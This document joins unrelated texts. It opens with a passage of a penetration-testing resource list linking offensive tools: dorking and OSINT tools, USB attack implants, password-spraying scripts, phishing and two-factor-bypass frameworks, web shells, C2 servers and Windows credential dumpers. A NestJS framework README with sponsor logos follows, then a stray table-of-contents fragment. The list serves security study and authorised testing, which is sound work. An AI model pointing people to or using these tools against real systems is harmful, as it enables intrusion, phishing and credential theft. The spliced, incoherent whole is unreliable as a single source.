### Data Broker and Search Engine Services
* [Hunter.io](https://hunter.io/) - Data broker providing a Web search interface for discovering the email addresses and other organizational details of a company.
* [Threat Crowd](https://www.threatcrowd.org/) - Search engine for threats.
* [Virus Total](https://www.virustotal.com/) - Free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware.
* [surfraw](https://github.com/kisom/surfraw) - Fast UNIX command line interface to a variety of popular WWW search engines.
### Dorking tools
* [BinGoo](https://github.com/Hood3dRob1n/BinGoo) - GNU/Linux bash based Bing and Google Dorking Tool.
* [dorkbot](https://github.com/utiso/dorkbot) - Command-line tool to scan Google (or other) search results for vulnerabilities.
* [github-dorks](https://github.com/techgaun/github-dorks) - CLI tool to scan GitHub repos/organizations for potential sensitive information leaks.
* [GooDork](https://github.com/k3170makan/GooDork) - Command line Google dorking tool.
* [Google Hacking Database](https://www.exploit-db.com/google-hacking-database/) - Database of Google dorks; can be used for recon.
* [dork-cli](https://github.com/jgor/dork-cli) - Command line Google dork tool.
* [dorks](https://github.com/USSCltd/dorks) - Google hack database automation tool.
* [fast-recon](https://github.com/DanMcInerney/fast-recon) - Perform Google dorks against a domain.
* [pagodo](https://github.com/opsdisk/pagodo) - Automate Google Hacking Database scraping.
* [snitch](https://github.com/Smaash/snitch) - Information gathering via dorks.
### Email search and analysis tools
* [SimplyEmail](https://github.com/SimplySecurity/SimplyEmail) - Email recon made fast and easy.
* [WhatBreach](https://github.com/Ekultek/WhatBreach) - Search email addresses and discover all known breaches that this email has been seen in, and download the breached database if it is publicly available.
### Metadata harvesting and analysis
* [FOCA (Fingerprinting Organizations with Collected Archives)](https://www.elevenpaths.com/labstools/foca/) - Automated document harvester that searches Google, Bing, and DuckDuckGo to find and extrapolate internal company organizational structures.
* [metagoofil](https://github.com/laramies/metagoofil) - Metadata harvester.
* [theHarvester](https://github.com/laramies/theHarvester) - E-mail, subdomain and people names harvester.
### Network device discovery tools
* [Censys](https://www.censys.io/) - Collects data on hosts and websites through daily ZMap and ZGrab scans.
* [Shodan](https://www.shodan.io/) - World's first search engine for Internet-connected devices.
* [ZoomEye](https://www.zoomeye.org/) - Search engine for cyberspace that lets the user find specific network components.
### OSINT Online Resources
* [CertGraph](https://github.com/lanrat/certgraph) - Crawls a domain's SSL/TLS certificates for its certificate alternative names.
* [GhostProject](https://ghostproject.fr/) - Searchable database of billions of cleartext passwords, partially visible for free.
* [NetBootcamp OSINT Tools](http://netbootcamp.org/osinttools/) - Collection of OSINT links and custom Web interfaces to other services.
* [OSINT Framework](http://osintframework.com/) - Collection of various OSINT tools broken out by category.
* [WiGLE.net](https://wigle.net/) - Information about wireless networks world-wide, with user-friendly desktop and web applications.
### Source code repository searching tools
See also *[Web-accessible source code ripping tools](#web-accessible-source-code-ripping-tools)*.
* [vcsmap](https://github.com/melvinsh/vcsmap) - Plugin-based tool to scan public version control systems for sensitive information.
* [Yar](https://github.com/Furduhlutur/yar) - Clone git repositories to search through the whole commit history in order of commit time for secrets, tokens, or passwords.
### Web application and resource analysis tools
* [BlindElephant](http://blindelephant.sourceforge.net/) - Web application fingerprinter.
* [EyeWitness](https://github.com/ChrisTruncer/EyeWitness) - Tool to take screenshots of websites, provide some server header info, and identify default credentials if possible.
* [VHostScan](https://github.com/codingo/VHostScan) - Virtual host scanner that performs reverse lookups, can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages.
* [Wappalyzer](https://www.wappalyzer.com/) - Wappalyzer uncovers the technologies used on websites.
* [WhatWaf](https://github.com/Ekultek/WhatWaf) - Detect and bypass web application firewalls and protection systems.
* [WhatWeb](https://github.com/urbanadventurer/WhatWeb) - Website fingerprinter.
* [wafw00f](https://github.com/EnableSecurity/wafw00f) - Identifies and fingerprints Web Application Firewall (WAF) products.
* [webscreenshot](https://github.com/maaaaz/webscreenshot) - Simple script to take screenshots of websites from a list of sites.
## Operating System Distributions
* [Android Tamer](https://androidtamer.com/) - Distribution built for Android security professionals that includes tools required for Android security testing.
* [ArchStrike](https://archstrike.org/) - Arch GNU/Linux repository for security professionals and enthusiasts.
* [AttifyOS](https://github.com/adi0x90/attifyos) - GNU/Linux distribution focused on tools useful during Internet of Things (IoT) security assessments.
* [BlackArch](https://www.blackarch.org/) - Arch GNU/Linux-based distribution for penetration testers and security researchers.
* [Buscador](https://inteltechniques.com/buscador/) - GNU/Linux virtual machine that is pre-configured for online investigators.
* [Kali](https://www.kali.org/) - Rolling Debian-based GNU/Linux distribution designed for penetration testing and digital forensics.
* [Network Security Toolkit (NST)](http://networksecuritytoolkit.org/) - Fedora-based GNU/Linux bootable live Operating System designed to provide easy access to best-of-breed open source network security applications.
* [Parrot](https://parrotlinux.org/) - Distribution similar to Kali, with support for multiple hardware architectures.
* [PentestBox](https://pentestbox.org/) - Open source pre-configured portable penetration testing environment for the Windows Operating System.
* [The Pentesters Framework](https://github.com/trustedsec/ptf) - Distro organized around the Penetration Testing Execution Standard (PTES), providing a curated collection of utilities that omits less frequently used utilities.
## Periodicals
* [2600: The Hacker Quarterly](https://www.2600.com/Magazine/DigitalEditions) - American publication about technology and computer "underground" culture.
* [Phrack Magazine](http://www.phrack.org/) - By far the longest running hacker zine.
## Physical Access Tools
* [AT Commands](https://atcommands.org/) - Use AT commands over an Android device's USB port to rewrite device firmware, bypass security mechanisms, exfiltrate sensitive information, perform screen unlocks, and inject touch events.
* [Bash Bunny](https://www.hak5.org/gear/bash-bunny) - Local exploit delivery tool in the form of a USB thumbdrive in which you write payloads in a DSL called BunnyScript.
* [LAN Turtle](https://lanturtle.com/) - Covert "USB Ethernet Adapter" that provides remote access, network intelligence gathering, and MITM capabilities when installed in a local network.
* [PCILeech](https://github.com/ufrisk/pcileech) - Uses PCIe hardware devices to read and write from the target system memory via Direct Memory Access (DMA) over PCIe.
* [Packet Squirrel](https://www.hak5.org/gear/packet-squirrel) - Ethernet multi-tool designed to enable covert remote access, painless packet captures, and secure VPN connections with the flip of a switch.
* [Poisontap](https://samy.pl/poisontap/) - Siphons cookies, exposes internal (LAN-side) router and installs web backdoor on locked computers.
* [Proxmark3](https://proxmark3.com/) - RFID/NFC cloning, replay, and spoofing toolkit often used for analyzing and attacking proximity cards/readers, wireless keys/keyfobs, and more.
* [Thunderclap](https://thunderclap.io/) - Open source I/O security research platform for auditing physical DMA-enabled hardware peripheral ports.
* [USB Rubber Ducky](http://usbrubberducky.com/) - Customizable keystroke injection attack platform masquerading as a USB thumbdrive.
## Privilege Escalation Tools
* [Active Directory and Privilege Escalation (ADAPE)](https://github.com/hausec/ADAPE-Script) - Umbrella script that automates numerous useful PowerShell modules to discover security misconfigurations and attempt privilege escalation against Active Directory.
* [GTFOBins](https://gtfobins.github.io/) - Curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
* [LOLBAS (Living Off The Land Binaries and Scripts)](https://lolbas-project.github.io/) - Documents binaries, scripts, and libraries that can be used for "Living Off The Land" techniques, i.e., binaries that can be used by an attacker to perform actions beyond their original purpose.
* [LinEnum](https://github.com/rebootuser/LinEnum) - Scripted local Linux enumeration and privilege escalation checker useful for auditing a host and during CTF gaming.
* [Postenum](https://github.com/mbahadou/postenum) - Shell script used for enumerating possible privilege escalation opportunities on a local GNU/Linux system.
* [unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check) - Shell script to check for simple privilege escalation vectors on UNIX systems.
### Password Spraying Tools
* [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) - Tool written in PowerShell to perform a password spray attack against users of a domain.
* [SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit) - Scripts to make password spraying attacks against Lync/S4B, Outlook Web Access (OWA) and Office 365 (O365) a lot quicker, less painful and more efficient.
## Reverse Engineering
See also [awesome-reversing](https://github.com/tylerha97/awesome-reversing), [*Exploit Development Tools*](#exploit-development-tools).
### Reverse Engineering Books
* [Gray Hat Hacking The Ethical Hacker's Handbook by Daniel Regalado et al., 2015](http://www.amazon.com/Hacking-Ethical-Hackers-Handbook-Edition/dp/0071832386)
* [Hacking the Xbox by Andrew Huang, 2003](https://nostarch.com/xbox.htm)
* [Practical Reverse Engineering by Bruce Dang et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118787315.html)
* [Reverse Engineering for Beginners by Dennis Yurichev](http://beginners.re/)
* [The IDA Pro Book by Chris Eagle, 2011](https://nostarch.com/idapro2.htm)
### Reverse Engineering Tools
* [angr](https://angr.io/) - Platform-agnostic binary analysis framework.
* [Capstone](http://www.capstone-engine.org/) - Lightweight multi-platform, multi-architecture disassembly framework.
* [Detect It Easy(DiE)](https://github.com/horsicq/Detect-It-Easy) - Program for determining types of files for Windows, Linux and MacOS.
* [Evan's Debugger](http://www.codef00.com/projects#debugger) - OllyDbg-like debugger for GNU/Linux.
* [Frida](https://www.frida.re/) - Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.
* [Fridax](https://github.com/NorthwaveNL/fridax) - Read variables and intercept/hook functions in Xamarin/Mono JIT and AOT compiled iOS/Android applications.
* [Ghidra](https://www.ghidra-sre.org/) - Suite of free software reverse engineering tools developed by NSA's Research Directorate originally exposed in WikiLeaks's "Vault 7" publication and now maintained as open source software.
* [Immunity Debugger](https://immunityinc.com/products/debugger/) - Powerful way to write exploits and analyze malware.
* [Interactive Disassembler (IDA Pro)](https://www.hex-rays.com/products/ida/) - Proprietary multi-processor disassembler and debugger for Windows, GNU/Linux, or macOS; also has a free version, [IDA Free](https://www.hex-rays.com/products/ida/support/download_freeware.shtml).
* [Medusa](https://github.com/wisk/medusa) - Open source, cross-platform interactive disassembler.
* [OllyDbg](http://www.ollydbg.de/) - x86 debugger for Windows binaries that emphasizes binary code analysis.
* [PyREBox](https://github.com/Cisco-Talos/pyrebox) - Python scriptable Reverse Engineering sandbox by Cisco-Talos.
* [Radare2](http://rada.re/r/index.html) - Open source, crossplatform reverse engineering framework.
* [UEFITool](https://github.com/LongSoft/UEFITool) - UEFI firmware image viewer and editor.
* [Voltron](https://github.com/snare/voltron) - Extensible debugger UI toolkit written in Python.
* [WDK/WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) - Windows Driver Kit and WinDbg.
* [binwalk](https://github.com/devttys0/binwalk) - Fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images.
* [boxxy](https://github.com/kpcyrd/boxxy-rs) - Linkable sandbox explorer.
* [dnSpy](https://github.com/0xd4d/dnSpy) - Tool to reverse engineer .NET assemblies.
* [plasma](https://github.com/joelpx/plasma) - Interactive disassembler for x86/ARM/MIPS. Generates indented pseudo-code with colored syntax code.
* [pwndbg](https://github.com/pwndbg/pwndbg) - GDB plug-in that eases debugging with GDB, with a focus on features needed by low-level software developers, hardware hackers, reverse-engineers, and exploit developers.
* [rVMI](https://github.com/fireeye/rVMI) - Debugger on steroids; inspect userspace processes, kernel drivers, and preboot environments in a single tool.
* [x64dbg](http://x64dbg.com/) - Open source x64/x32 debugger for windows.
## Security Education Courses
* [ARIZONA CYBER WARFARE RANGE](http://azcwr.org/) - 24x7 live fire exercises for beginners through real world operations; capability for upward progression into the real world of cyber warfare.
* [Cybrary](http://cybrary.it) - Free courses in ethical hacking and advanced penetration testing. Advanced penetration testing courses are based on the book 'Penetration Testing for Highly Secured Environments'.
* [European Union Agency for Network and Information Security](https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material) - ENISA Cyber Security Training material.
* [Offensive Security Training](https://www.offensive-security.com/information-security-training/) - Training from BackTrack/Kali developers.
* [Open Security Training](http://opensecuritytraining.info/) - Training material for computer security classes.
* [Roppers Academy Training](https://www.hoppersroppers.org/training.html) - Free courses on computing and security fundamentals designed to train a beginner to crush their first CTF.
* [SANS Security Training](http://www.sans.org/) - Computer Security Training & Certification.
## Shellcoding Guides and Tutorials
* [Exploit Writing Tutorials](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/) - Tutorials on how to develop exploits.
* [Shellcode Examples](http://shell-storm.org/shellcode/) - Shellcodes database.
* [Shellcode Tutorial](http://www.vividmachines.com/shellcode/shellcode.html) - Tutorial on how to write shellcode.
* [The Shellcoder's Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
## Side-channel Tools
* [ChipWhisperer](http://chipwhisperer.com) - Complete open-source toolchain for side-channel power analysis and glitching attacks.
* [SGX-Step](https://github.com/jovanbulck/sgx-step) - Open-source framework to facilitate side-channel attack research on Intel x86 processors in general and Intel SGX (Software Guard Extensions) platforms in particular.
* [TRRespass](https://github.com/vusec/trrespass) - Many-sided rowhammer tool suite able to reverse engineer the contents of DDR3 and DDR4 memory chips protected by Target Row Refresh mitigations.
## Social Engineering
See also [awesome-social-engineering](https://github.com/v2-dev/awesome-social-engineering).
### Social Engineering Books
* [Ghost in the Wires by Kevin D. Mitnick & William L. Simon, 2011](http://www.hachettebookgroup.com/titles/kevin-mitnick/ghost-in-the-wires/9780316134477/)
* [No Tech Hacking by Johnny Long & Jack Wiles, 2008](https://www.elsevier.com/books/no-tech-hacking/mitnick/978-1-59749-215-7)
* [Social Engineering in IT Security: Tools, Tactics, and Techniques by Sharon Conheady, 2014](https://www.mhprofessional.com/9780071818469-usa-social-engineering-in-it-security-tools-tactics-and-techniques-group)
* [The Art of Deception by Kevin D. Mitnick & William L. Simon, 2002](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0471237124.html)
* [The Art of Intrusion by Kevin D. Mitnick & William L. Simon, 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764569597.html)
* [Unmasking the Social Engineer: The Human Element of Security by Christopher Hadnagy, 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118608577.html)
### Social Engineering Online Resources
* [Social Engineering Framework](http://www.social-engineer.org/framework/general-discussion/) - Information resource for social engineers.
### Social Engineering Tools
* [Beelogger](https://github.com/4w4k3/BeeLogger) - Tool for generating keylooger.
* [Catphish](https://github.com/ring0lab/catphish) - Tool for phishing and corporate espionage written in Ruby.
* [Evilginx2](https://github.com/kgretzky/evilginx2) - Standalone Machine-in-the-Middle (MitM) reverse proxy attack framework for setting up phishing pages capable of defeating most forms of 2FA security schemes.
* [FiercePhish](https://github.com/Raikia/FiercePhish) - Full-fledged phishing framework to manage all phishing engagements.
* [Gophish](https://getgophish.com) - Open-source phishing framework.
* [King Phisher](https://github.com/securestate/king-phisher) - Phishing campaign toolkit used for creating and managing multiple simultaneous phishing attacks with custom email and server content.
* [Modlishka](https://github.com/drk1wi/Modlishka) - Flexible and powerful reverse proxy with real-time two-factor authentication.
* [ReelPhish](https://github.com/fireeye/ReelPhish) - Real-time two-factor phishing tool.
* [Social Engineer Toolkit (SET)](https://github.com/trustedsec/social-engineer-toolkit) - Open source pentesting framework designed for social engineering featuring a number of custom attack vectors to make believable attacks quickly.
* [SocialFish](https://github.com/UndeadSec/SocialFish) - Social media phishing framework that can run on an Android phone or in a Docker container.
* [phishery](https://github.com/ryhanson/phishery) - TLS/SSL enabled Basic Auth credential harvester.
* [wifiphisher](https://github.com/sophron/wifiphisher) - Automated phishing attacks against WiFi networks.
## Static Analyzers
* [Brakeman](https://github.com/presidentbeef/brakeman) - Static analysis security vulnerability scanner for Ruby on Rails applications.
* [FindBugs](http://findbugs.sourceforge.net/) - Free software static analyzer to look for bugs in Java code.
* [Progpilot](https://github.com/designsecurity/progpilot) - Static security analysis tool for PHP code.
* [RegEx-DoS](https://github.com/jagracey/RegEx-DoS) - Analyzes source code for Regular Expressions susceptible to Denial of Service attacks.
* [bandit](https://pypi.python.org/pypi/bandit/) - Security oriented static analyser for Python code.
* [cppcheck](http://cppcheck.sourceforge.net/) - Extensible C/C++ static analyzer focused on finding bugs.
* [sobelow](https://github.com/nccgroup/sobelow) - Security-focused static analysis for the Phoenix Framework.
* [cwe_checker](https://github.com/fkie-cad/cwe_checker) - Suite of tools built atop the Binary Analysis Platform (BAP) to heuristically detect CWEs in compiled binaries and firmware.
## Steganography Tools
* [Cloakify](https://github.com/TryCatchHCF/Cloakify) - Textual steganography toolkit that converts any filetype into lists of everyday strings.
* [StegOnline](https://stegonline.georgeom.net/) - Web-based, enhanced, and open-source port of StegSolve.
* [StegCracker](https://github.com/Paradoxis/StegCracker) - Steganography brute-force utility to uncover hidden data inside files.
## Vulnerability Databases
* [Bugtraq (BID)](http://www.securityfocus.com/bid/) - Software security bug identification database compiled from submissions to the SecurityFocus mailing list and other sources, operated by Symantec, Inc.
* [CXSecurity](https://cxsecurity.com/) - Archive of published CVE and Bugtraq software vulnerabilities cross-referenced with a Google dork database for discovering the listed vulnerability.
* [China National Vulnerability Database (CNNVD)](http://www.cnnvd.org.cn/) - Chinese government-run vulnerability database analoguous to the United States's CVE database hosted by Mitre Corporation.
* [Common Vulnerabilities and Exposures (CVE)](https://cve.mitre.org/) - Dictionary of common names (i.e., CVE Identifiers) for publicly known security vulnerabilities.
* [Exploit-DB](https://www.exploit-db.com/) - Non-profit project hosting exploits for software vulnerabilities, provided as a public service by Offensive Security.
* [Full-Disclosure](http://seclists.org/fulldisclosure/) - Public, vendor-neutral forum for detailed discussion of vulnerabilities, often publishes details before many other sources.
* [GitHub Advisories](https://github.com/advisories/) - Public vulnerability advisories published by or affecting codebases hosted by GitHub, including open source projects.
* [HPI-VDB](https://hpi-vdb.de/) - Aggregator of cross-referenced software vulnerabilities offering free-of-charge API access, provided by the Hasso-Plattner Institute, Potsdam.
* [Inj3ct0r](https://www.0day.today/) - Exploit marketplace and vulnerability information aggregator. ([Onion service](http://mvfjfugdwgc5uwho.onion/).)
* [Microsoft Security Advisories and Bulletins](https://docs.microsoft.com/en-us/security-updates/) - Archive and announcements of security advisories impacting Microsoft software, published by the Microsoft Security Response Center (MSRC).
* [Mozilla Foundation Security Advisories](https://www.mozilla.org/security/advisories/) - Archive of security advisories impacting Mozilla software, including the Firefox Web Browser.
* [National Vulnerability Database (NVD)](https://nvd.nist.gov/) - United States government's National Vulnerability Database provides additional meta-data (CPE, CVSS scoring) of the standard CVE List along with a fine-grained search engine.
* [Open Source Vulnerabilities (OSV)](https://osv.dev/) - Database of vulnerabilities affecting open source software, queryable by project, Git commit, or version.
* [Packet Storm](https://packetstormsecurity.com/files/) - Compendium of exploits, advisories, tools, and other security-related resources aggregated from across the industry.
* [SecuriTeam](http://www.securiteam.com/) - Independent source of software vulnerability information.
* [Snyk Vulnerability DB](https://snyk.io/vuln/) - Detailed information and remediation guidance for vulnerabilities known by Snyk.
* [US-CERT Vulnerability Notes Database](https://www.kb.cert.org/vuls/) - Summaries, technical details, remediation information, and lists of vendors affected by software vulnerabilities, aggregated by the United States Computer Emergency Response Team (US-CERT).
* [Vulnerability Lab](https://www.vulnerability-lab.com/) - Open forum for security advisories organized by category of exploit target.
* [Vulners](https://vulners.com/) - Security database of software vulnerabilities.
* [Vulmon](https://vulmon.com/) - Vulnerability search engine with vulnerability intelligence features that conducts full text searches in its database.
* [Zero Day Initiative](http://zerodayinitiative.com/advisories/published/) - Bug bounty program with publicly accessible archive of published security advisories, operated by TippingPoint.
## Web Exploitation
* [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) - Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.
* [Offensive Web Testing Framework (OWTF)](https://www.owasp.org/index.php/OWASP_OWTF) - Python-based framework for pentesting Web applications based on the OWASP Testing Guide.
* [Raccoon](https://github.com/evyatarmeged/Raccoon) - High performance offensive security tool for reconnaissance and vulnerability scanning.
* [WPSploit](https://github.com/espreto/wpsploit) - Exploit WordPress-powered websites with Metasploit.
* [autochrome](https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/march/autochrome/) - Chrome browser profile preconfigured with appropriate settings needed for web application testing.
* [badtouch](https://github.com/kpcyrd/badtouch) - Scriptable network authentication cracker.
* [gobuster](https://github.com/OJ/gobuster) - Lean multipurpose brute force search/fuzzing tool for Web (and DNS) reconnaissance.
* [sslstrip2](https://github.com/LeonardoNve/sslstrip2) - SSLStrip version to defeat HSTS.
* [sslstrip](https://www.thoughtcrime.org/software/sslstrip/) - Demonstration of the HTTPS stripping attacks.
### Intercepting Web proxies
See also *[Proxies and Machine-in-the-Middle (MITM) Tools](#proxies-and-machine-in-the-middle-mitm-tools)*.
* [Burp Suite](https://portswigger.net/burp/) - Integrated platform for performing security testing of web applications.
* [Fiddler](https://www.telerik.com/fiddler) - Free cross-platform web debugging proxy with user-friendly companion tools.
* [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/) - Feature-rich, scriptable HTTP intercepting proxy and fuzzer for penetration testing web applications.
* [mitmproxy](https://mitmproxy.org/) - Interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.
### Web file inclusion tools
* [Kadimus](https://github.com/P0cL4bs/Kadimus) - LFI scan and exploit tool.
* [LFISuite](https://github.com/D35m0nd142/LFISuite) - Automatic LFI scanner and exploiter.
* [fimap](https://github.com/kurobeats/fimap) - Find, prepare, audit, exploit and even Google automatically for LFI/RFI bugs.
* [liffy](https://github.com/hvqzao/liffy) - LFI exploitation tool.
### Web injection tools
* [Commix](https://github.com/commixproject/commix) - Automated all-in-one operating system command injection and exploitation tool.
* [NoSQLmap](https://github.com/codingo/NoSQLMap) - Automatic NoSQL injection and database takeover tool.
* [SQLmap](http://sqlmap.org/) - Automatic SQL injection and database takeover tool.
* [tplmap](https://github.com/epinna/tplmap) - Automatic server-side template injection and Web server takeover tool.
### Web path discovery and bruteforcing tools
* [DotDotPwn](https://dotdotpwn.blogspot.com/) - Directory traversal fuzzer.
* [dirsearch](https://github.com/maurosoria/dirsearch) - Web path scanner.
* [recursebuster](https://github.com/c-sto/recursebuster) - Content discovery tool to perform directory and file bruteforcing.
### Web shells and C2 frameworks
* [Browser Exploitation Framework (BeEF)](https://github.com/beefproject/beef) - Command and control server for delivering exploits to commandeered Web browsers.
* [DAws](https://github.com/dotcppfile/DAws) - Advanced Web shell.
* [Merlin](https://github.com/Ne0nd0g/merlin) - Cross-platform post-exploitation HTTP/2 Command and Control server and agent written in Golang.
* [PhpSploit](https://github.com/nil0x42/phpsploit) - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner.
* [SharPyShell](https://github.com/antonioCoco/SharPyShell) - Tiny and obfuscated ASP.NET webshell for C# web applications.
* [weevely3](https://github.com/epinna/weevely3) - Weaponized PHP-based web shell.
### Web-accessible source code ripping tools
* [DVCS Ripper](https://github.com/kost/dvcs-ripper) - Rip web accessible (distributed) version control systems: SVN/GIT/HG/BZR.
* [GitTools](https://github.com/internetwache/GitTools) - Automatically find and download Web-accessible `.git` repositories.
* [git-dumper](https://github.com/arthaud/git-dumper) - Tool to dump a git repository from a website.
* [git-scanner](https://github.com/HightechSec/git-scanner) - Tool for bug hunting or pentesting websites that have open `.git` repositories available in public.
### Web Exploitation Books
* [The Browser Hacker's Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
* [The Web Application Hacker's Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
## Windows Utilities
* [Bloodhound](https://github.com/adaptivethreat/Bloodhound/wiki) - Graphical Active Directory trust relationship explorer.
* [Commando VM](https://github.com/fireeye/commando-vm) - Automated installation of over 140 Windows software packages for penetration testing and red teaming.
* [Covenant](https://github.com/cobbr/Covenant) - ASP.NET Core application that serves as a collaborative command and control platform for red teamers.
* [ctftool](https://github.com/taviso/ctftool) - Interactive Collaborative Translation Framework (CTF) exploration tool capable of launching cross-session edit session attacks.
* [DeathStar](https://github.com/byt3bl33d3r/DeathStar) - Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in Active Directory environments.
* [Empire](https://www.powershellempire.com/) - Pure PowerShell post-exploitation agent.
* [Fibratus](https://github.com/rabbitstack/fibratus) - Tool for exploration and tracing of the Windows kernel.
* [Inveigh](https://github.com/Kevin-Robertson/Inveigh) - Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/machine-in-the-middle tool.
* [LaZagne](https://github.com/AlessandroZ/LaZagne) - Credentials recovery project.
* [MailSniper](https://github.com/dafthack/MailSniper) - Modular tool for searching through email in a Microsoft Exchange environment, gathering the Global Address List from Outlook Web Access (OWA) and Exchange Web Services (EWS), and more.
* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) - PowerShell Post-Exploitation Framework.
* [RID_ENUM](https://github.com/trustedsec/ridenum) - Python script that can enumerate all users from a Windows Domain Controller and crack those user's passwords using brute-force.
* [Responder](https://github.com/SpiderLabs/Responder) - Link-Local Multicast Name Resolution (LLMNR), NBT-NS, and mDNS poisoner.
* [Rubeus](https://github.com/GhostPack/Rubeus) - Toolset for raw Kerberos interaction and abuses.
* [Ruler](https://github.com/sensepost/ruler) - Abuses client-side Outlook features to gain a remote shell on a Microsoft Exchange server.
* [SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt) - Retrieve and decrypt RunAs credentials stored within Microsoft System Center Operations Manager (SCOM) databases.
* [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - The Sysinternals Troubleshooting Utilities.
* [Windows Credentials Editor](https://www.ampliasecurity.com/research/windows-credentials-editor/) - Inspect logon sessions and add, change, list, and delete associated credentials, including Kerberos tickets.
* [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - Detects potential missing patches on the target.
* [mimikatz](http://blog.gentilkiwi.com/mimikatz) - Credentials extraction tool for Windows operating system.
* [redsnarf](https://github.com/nccgroup/redsnarf) - Post-exploitation tool for retrieving password hashes and credentials from Windows workstations, servers, and domain controllers.
* [wePWNise](https://labs.mwrinfosecurity.com/tools/wepwnise/) - Generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software.
* [WinPwn](https://github.com/SecureThisShit/WinPwn) - Internal penetration test script to perform local and domain reconnaissance, privilege escalation and exploitation.
## License
[](https://creativecommons.org/licenses/by/4.0/)
This work is licensed under a [Creative Commons Attribution 4.0 International License](https://creativecommons.org/licenses/by/4.0/).
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## Description
Nest is a framework for building efficient, scalable <a href="http://nodejs.org" target="_blank">Node.js</a> server-side applications. It uses modern JavaScript, is built with <a href="http://www.typescriptlang.org" target="_blank">TypeScript</a> (preserves compatibility with pure JavaScript) and combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming).
<p>Under the hood, Nest makes use of <a href="https://expressjs.com/" target="_blank">Express</a>, but also, provides compatibility with a wide range of other libraries, like e.g. <a href="https://github.com/fastify/fastify" target="_blank">Fastify</a>, allowing for easy use of the myriad third-party plugins which are available.</p>
## Philosophy
<p>In recent years, thanks to Node.js, JavaScript has become the “lingua franca” of the web for both front and backend applications, giving rise to awesome projects like <a href="https://angular.io/" target="_blank">Angular</a>, <a href="https://github.com/facebook/react" target="_blank">React</a> and <a href="https://github.com/vuejs/vue" target="_blank">Vue</a> which improve developer productivity and enable the construction of fast, testable, extensible frontend applications. However, on the server-side, while there are a lot of superb libraries, helpers and tools for Node, none of them effectively solve the main problem - the architecture.</p>
<p>Nest aims to provide an application architecture out of the box which allows for effortless creation of highly testable, scalable, loosely coupled and easily maintainable applications.</p>
## Getting started
* To check out the [guide](https://docs.nestjs.com), visit [docs.nestjs.com](https://docs.nestjs.com). :books:
* 要查看中文 [指南](readme_zh.md), 请访问 [docs.nestjs.cn](https://docs.nestjs.cn). :books:
## Consulting
With official support, you can get expert help straight from Nest core team. We provide dedicated technical support, migration strategies, advice on best practices (and design decisions), PR reviews, and team augmentation. Read more about [support here](https://docs.nestjs.com/enterprise).
## Support
Nest is an MIT-licensed open source project. It can grow thanks to the sponsors and support by the amazing backers. If you'd like to join them, please [read more here](https://docs.nestjs.com/support).
#### Principal Sponsor
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<a href="https://blokt.com" target="_blank"><img src="https://nestjs.com/img/blokt-logo.png" height="25" valign="middle" /></a> <a href="https://genuinebee.com/" target="_blank"><img src="https://nestjs.com/img/genuinebee.svg" height="24" valign="middle" /></a> <a href="http://architectnow.net/" target="_blank"><img src="https://nestjs.com/img/architectnow.png" height="20" valign="middle" /></a> <a href="https://quander.io/" target="_blank"><img src="https://nestjs.com/img/quander.png" height="22" valign="middle" /></a> <a href="https://mantro.net/" target="_blank"><img src="https://nestjs.com/img/mantro-logo.svg" height="19" valign="middle" /></a> <a href="https://triplebyte.com/" target="_blank"><img src="https://nestjs.com/img/triplebyte.png" height="20" valign="middle" /></a>
<a href="https://reposit.co.uk/" target="_blank"><img src="https://nestjs.com/img/reposit-logo.png" height="18" valign="middle" /></a> <a href="https://yakaz.com/" target="_blank"><img src="https://nestjs.com/img/yakaz.png" width="70" valign="middle" /></a>
<a href="https://nearpod.com/" target="_blank"><img src="https://nestjs.com/img/nearpod-logo.svg" width="100" valign="middle" /></a>
<a href="https://clay.global/" target="_blank"><img src="https://nestjs.com/img/clay-logo.svg" width="75" valign="middle" /></a>
<a href="https://firesticktricks.com" target="_blank"><img src="https://nestjs.com/img/firesticktricks-logo.png" width="120" valign="middle" /></a>
<a href="https://www.codeguesser.co.uk" target="_blank"><img src="https://nestjs.com/img/codeguesser-logo.svg" width="120" valign="middle" /></a>
<a href="https://tekhattan.com" target="_blank"><img src="https://nestjs.com/img/tekhattan-logo.png" width="110" valign="middle" /></a>
## Backers
<a href="https://opencollective.com/nest" target="_blank"><img src="https://opencollective.com/nest/backers.svg?width=1000"></a>
## Stay in touch
* Author - [Kamil Myśliwiec](https://kamilmysliwiec.com)
* Website - [https://nestjs.com](https://nestjs.com/)
* Twitter - [@nestframework](https://twitter.com/nestframework)
## License
Nest is [MIT licensed](LICENSE).
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## Contents
- [Platforms](#platforms)
